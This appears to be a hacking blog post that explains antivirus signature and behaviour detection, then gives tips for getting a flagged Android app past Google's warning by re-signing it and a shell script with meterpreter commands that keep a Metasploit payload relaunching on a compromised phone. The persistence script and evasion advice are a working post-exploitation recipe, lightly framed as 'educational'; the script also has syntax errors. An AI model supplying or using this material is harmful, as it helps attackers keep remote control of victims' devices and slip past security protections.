Hello guys, Today we are going to know about what is antivirus? , How the antivirus actually works? and how to bypass it? , so let's start:

Working of Anti-Virus:

    Well, Anti-Virus is simply software that scans the app you installed to find if any malicious thing is hidden in that app or not. Using an antivirus is good to protect your data from Cyber criminals. It works like this by performing various techniques for scanning. The signature-based technique is a common and powerful technique nowadays that antiviruses use to find the virus or malicious things in that particular app. The second method is the Behavior based technique, This technique is also used nowadays for scanning viruses in applications.

So let's, Understand those techniques in some deep:
Signature Based detection: In the Signature Based Technique involves searching for some similar things between the new app and previous virus-detected apps. Anti-Virus companies have a database full of this type of signature that is updated regularly to detect new viruses and protect the valuable data of the user from other attacks. It simply tries to catch the signature of viruses present in that app or not. To bypass, this type of detection hackers create a new type of signature for their viruses to make the virus hard to find.
Behavior-based detection: In the Behavior based Technique processes the running method on the system that doing some suspicious activity or not. It monitors the app that tries to modify some critical files on the system or files that trying to access sensitive data.

So now we know that how the antivirus works so let's move to the next topic named How can we bypass google protection?

When google shows that the application is harmful it simply means that the application is unsigned you just need to sign it. To sign the app you just need to download the zip-signer just search for it on google open and use after that your app will install your app and your app will run without any errors. 


How do make you a persistent script?

To make your script run persistently write the following script: 

#!/bin/sh
    while:
      do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/ .MainActivity sleep 10
      done
After that save this file name as 
start.sh
After that just open the meterpreter session and type the following commands- 

cd/sdcard
upload start.sh
 
shell
sh start.sh

This Post is just for educational purposes!

Hope this post will help you to know more about Hacking using Android!


Thank You…!!!